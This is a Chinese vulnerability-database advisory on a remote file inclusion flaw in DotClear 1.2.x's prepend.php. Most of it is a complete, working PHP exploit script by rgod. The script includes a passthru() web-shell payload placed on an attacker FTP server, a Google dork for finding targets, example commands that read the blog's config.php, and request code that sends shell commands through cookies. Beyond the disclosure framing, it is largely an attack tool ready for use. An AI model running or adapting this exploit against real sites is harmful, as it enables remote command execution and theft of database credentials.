DotClear prepend.php远程文件包含漏洞


添加时间:
2008-10-03

系统编号:
WAVDB-00959
BUGTRAQ: 18259

影响版本:
Dotclear 1.2.1/1.2.2/1.2.3/1.2.4

程序介绍:

dotClear是一个的基于PHP和MySQL的Blog系统。

漏洞分析:

dotClear的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。

在dotClear的layout/prepend.php文件78-104行:

 
  1. ...  
  2. # Variable de conf  
  3. $theme_path = $blog_dc_path.'/themes/';  
  4. $theme_uri = dc_app_url.'/themes/';  
  5. $img_path = dc_img_url;  
  6.   
  7. # D?finition du th?me et de la langue  
  8. $__theme = dc_theme;  
  9. $__lang = dc_default_lang;  
  10.   
  11. # Ajout des functions.php des plugins  
  12. $objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');  
  13. foreach ($objPlugins->getFunctions() as $pfunc) {  
  14.         require_once $pfunc;  
  15. }  
  16.   
  17. # D?finition du template  
  18. if (!is_dir($theme_path.$__theme)) {  
  19.         header('Content-type: text/plain');  
  20.         echo 'Le th?me '.$__theme.' n\'existe pas';  
  21.         exit;  
  22. }  
  23.   
  24. if (file_exists($theme_path.$__theme.'/template.php')) {  
  25.         $dc_template_file = $theme_path.$__theme.'/template.php';  
  26. else {  
  27.         $dc_template_file = $theme_path.'default/template.php';  
  28. }  
  29. echo $dc_template_file;  
  30. # Prepend du template s'il existe  
  31. if (file_exists(dirname($dc_template_file).'/prepend.php')) {  
  32.         require dirname($dc_template_file).'/prepend.php';  
  33. }  
  34. ...  

没有正确的过滤$blog_dc_path变量。在PHP5中,由于is_dir()和file_exists()函数支持ftp wrapper,因此攻击者可以从远程资源在themes/default/文件夹中包含任意prepend.php文件并执行PHP代码。



漏洞利用:

 

 
  1. #!/usr/bin/php -q -d short_open_tag=on  
  2.   
  3. echo "DotClear <= 1.2.4 prepend.php/'blog_dc_path' arbitrary remote inclusion\r\n";  
  4. echo "by rgod rgod@autistici.org\r\n";  
  5. echo "site: http://retrogod.altervista.org\r\n\r\n";  
  6. echo "dork: \"propuls? par DotClear\" \"fil atom\" \"fil rss\" +commentaires\r\n\r\n";  
  7.   
  8. /* 
  9. works with PHP5 
  10. register_globals=On, 
  11. allow_url_fopen=On 
  12. */  
  13.   
  14. if ($argc<5) {  
  15. echo "Usage: php ".$argv[0]." host path ftp cmd OPTIONS\r\n";  
  16. echo "host:      target server (ip/hostname)\r\n";  
  17. echo "path:      path to dotclear\r\n";  
  18. echo "ftp:       a ftp location (without ending slash)\r\n";  
  19. echo "cmd:       a shell command\r\n";  
  20. echo "Options:\r\n";  
  21. echo "   -p[port]:    specify a port other than 80\r\n";  
  22. echo "   -P[ip:port]: specify a proxy\r\n";  
  23. echo "Examples:\r\n";  
  24. echo "php ".$argv[0]." target.com /dotclear/ pass@somehost.com" target="_blank">ftp://username:pass@somehost.com cat ./../conf/config.php\r\n";  
  25. echo "php ".$argv[0]." target.com /dotclear/ pass@somehost.com/somedir" target="_blank">ftp://username:pass@somehost.com/somedir ls -la -p81\r\n";  
  26. echo "php ".$argv[0]." target.com / pass@somehost.com" target="_blank">ftp://username:pass@somehost.com ls -la -P1.1.1.1:80\r\n";  
  27. echo "note, on remote ftp you need this code in themes/default/prepend.php:\r\n";  
  28. echo "<?php\r\n";  
  29. echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";  
  30. echo "ini_set(\"max_execution_time\",0);\r\n";  
  31. echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";  
  32. echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";  
  33. echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";  
  34. echo "?>\r\n";  
  35. die;  
  36. }  
  37. /* 
  38.   software site: http://www.dotclear.net/ 
  39.  
  40.   vulnerable code in layout/prepend.php near lines 78-104: 
  41.  
  42. ... 
  43. # Variable de conf 
  44. $theme_path = $blog_dc_path.'/themes/'; 
  45. $theme_uri = dc_app_url.'/themes/'; 
  46. $img_path = dc_img_url; 
  47.  
  48. # D?finition du th?me et de la langue 
  49. $__theme = dc_theme; 
  50. $__lang = dc_default_lang; 
  51.  
  52. # Ajout des functions.php des plugins 
  53. $objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/'); 
  54. foreach ($objPlugins->getFunctions() as $pfunc) { 
  55.         require_once $pfunc; 
  56. } 
  57.  
  58. # D?finition du template 
  59. if (!is_dir($theme_path.$__theme)) { 
  60.         header('Content-type: text/plain'); 
  61.         echo 'Le th?me '.$__theme.' n\'existe pas'; 
  62.         exit; 
  63. } 
  64.  
  65. if (file_exists($theme_path.$__theme.'/template.php')) { 
  66.         $dc_template_file = $theme_path.$__theme.'/template.php'; 
  67. } else { 
  68.         $dc_template_file = $theme_path.'default/template.php'; 
  69. } 
  70. echo $dc_template_file; 
  71. # Prepend du template s'il existe 
  72. if (file_exists(dirname($dc_template_file).'/prepend.php')) { 
  73.         require dirname($dc_template_file).'/prepend.php'; 
  74. } 
  75. ... 
  76.  
  77.  
  78. $blog_dc_path var is not sanitized before to be used to include files, 
  79. on PHP5, because is_dir() and file_exists() funcs support ftp wrappers, 
  80. you can include an arbitrary prepend.php file in a themes/default/ folder 
  81. from a remote resource, poc: 
  82.  
  83. http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=password@somesite.com&cmd=ls%20-la" target="_blank">ftp://username:password@somesite.com&cmd=ls%20-la 
  84.  
  85.                                                                               */  
  86. error_reporting(0);  
  87. ini_set("max_execution_time",0);  
  88. ini_set("default_socket_timeout",5);  
  89.   
  90. function quick_dump($string)  
  91. {  
  92.   $result='';$exa='';$cont=0;  
  93.   for ($i=0; $i<=strlen($string)-1; $i++)  
  94.   {  
  95.    if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
  96.    {$result.="  .";}  
  97.    else  
  98.    {$result.="  ".$string[$i];}  
  99.    if (strlen(dechex(ord($string[$i])))==2)  
  100.    {$exa.=" ".dechex(ord($string[$i]));}  
  101.    else  
  102.    {$exa.=" 0".dechex(ord($string[$i]));}  
  103.    $cont++;if ($cont==15) {$cont=0; $result.="\r\n"$exa.="\r\n";}  
  104.   }  
  105. return $exa."\r\n".$result;  
  106. }  
  107. $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
  108. function sendpacketii($packet)  
  109. {  
  110.   global $proxy$host$port$html$proxy_regex;  
  111.   if ($proxy=='') {  
  112.     $ock=fsockopen(gethostbyname($host),$port);  
  113.     if (!$ock) {  
  114.       echo 'No response from '.$host.':'.$portdie;  
  115.     }  
  116.   }  
  117.   else {  
  118.         $c = preg_match($proxy_regex,$proxy);  
  119.     if (!$c) {  
  120.       echo 'Not a valid proxy...';die;  
  121.     }  
  122.     $parts=explode(':',$proxy);  
  123.     echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
  124.     $ock=fsockopen($parts[0],$parts[1]);  
  125.     if (!$ock) {  
  126.       echo 'No response from proxy...';die;  
  127.         }  
  128.   }  
  129.   fputs($ock,$packet);  
  130.   if ($proxy=='') {  
  131.     $html='';  
  132.     while (!feof($ock)) {  
  133.       $html.=fgets($ock);  
  134.     }  
  135.   }  
  136.   else {  
  137.     $html='';  
  138.     while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
  139.       $html.=fread($ock,1);  
  140.     }  
  141.   }  
  142.   fclose($ock);  
  143.   #debug  
  144.   #echo "\r\n".$html;  
  145. }  
  146.   
  147. $host=$argv[1];  
  148. $path=$argv[2];  
  149. $loc=$argv[3];  
  150. $cmd="";$port=80;$proxy="";  
  151.   
  152. for ($i=4; $i<=$argc-1; $i++){  
  153. $temp=$argv[$i][0].$argv[$i][1];  
  154. if (($temp<>"-p"and ($temp<>"-P"))  
  155. {$cmd.=" ".$argv[$i];}  
  156. if ($temp=="-p")  
  157. {  
  158.   $port=str_replace("-p","",$argv[$i]);  
  159. }  
  160. if ($temp=="-P")  
  161. {  
  162.   $proxy=str_replace("-P","",$argv[$i]);  
  163. }  
  164. }  
  165. $loc=urlencode($loc);  
  166. $cmd=urlencode($cmd);  
  167.   
  168. if (($path[0]<>'/'or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'die;}  
  169. if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  170.   
  171. $packet="GET ".$path."layout/prepend.php HTTP/1.0\r\n";  
  172. $packet.="User-Agent: Googlebot/2.1\r\n";  
  173. $packet.="Cookie: blog_dc_path=".$loc."; cmd=".$cmd.";\r\n"//through cookies, log this  
  174. $packet.="Host: ".$host."\r\n";  
  175. $packet.="Connection: Close\r\n\r\n";  
  176. sendpacketii($packet);  
  177. if (strstr($html,"*deli*"))  
  178. {echo "exploit succeeded...\r\n";  
  179. $temp=explode("*deli*",$html);  
  180. die($temp[1]);  
  181. }  
  182. else  
  183. {echo "exploit failed...\r\n";  
  184. //debug  
  185. echo $html;  
  186. }  

 



解决方案:
厂商补丁:
Dotclear
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dotclear.net/

信息来源:
<*来源:rgod (rgod@autistici.org)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114945772519229&w=2
*>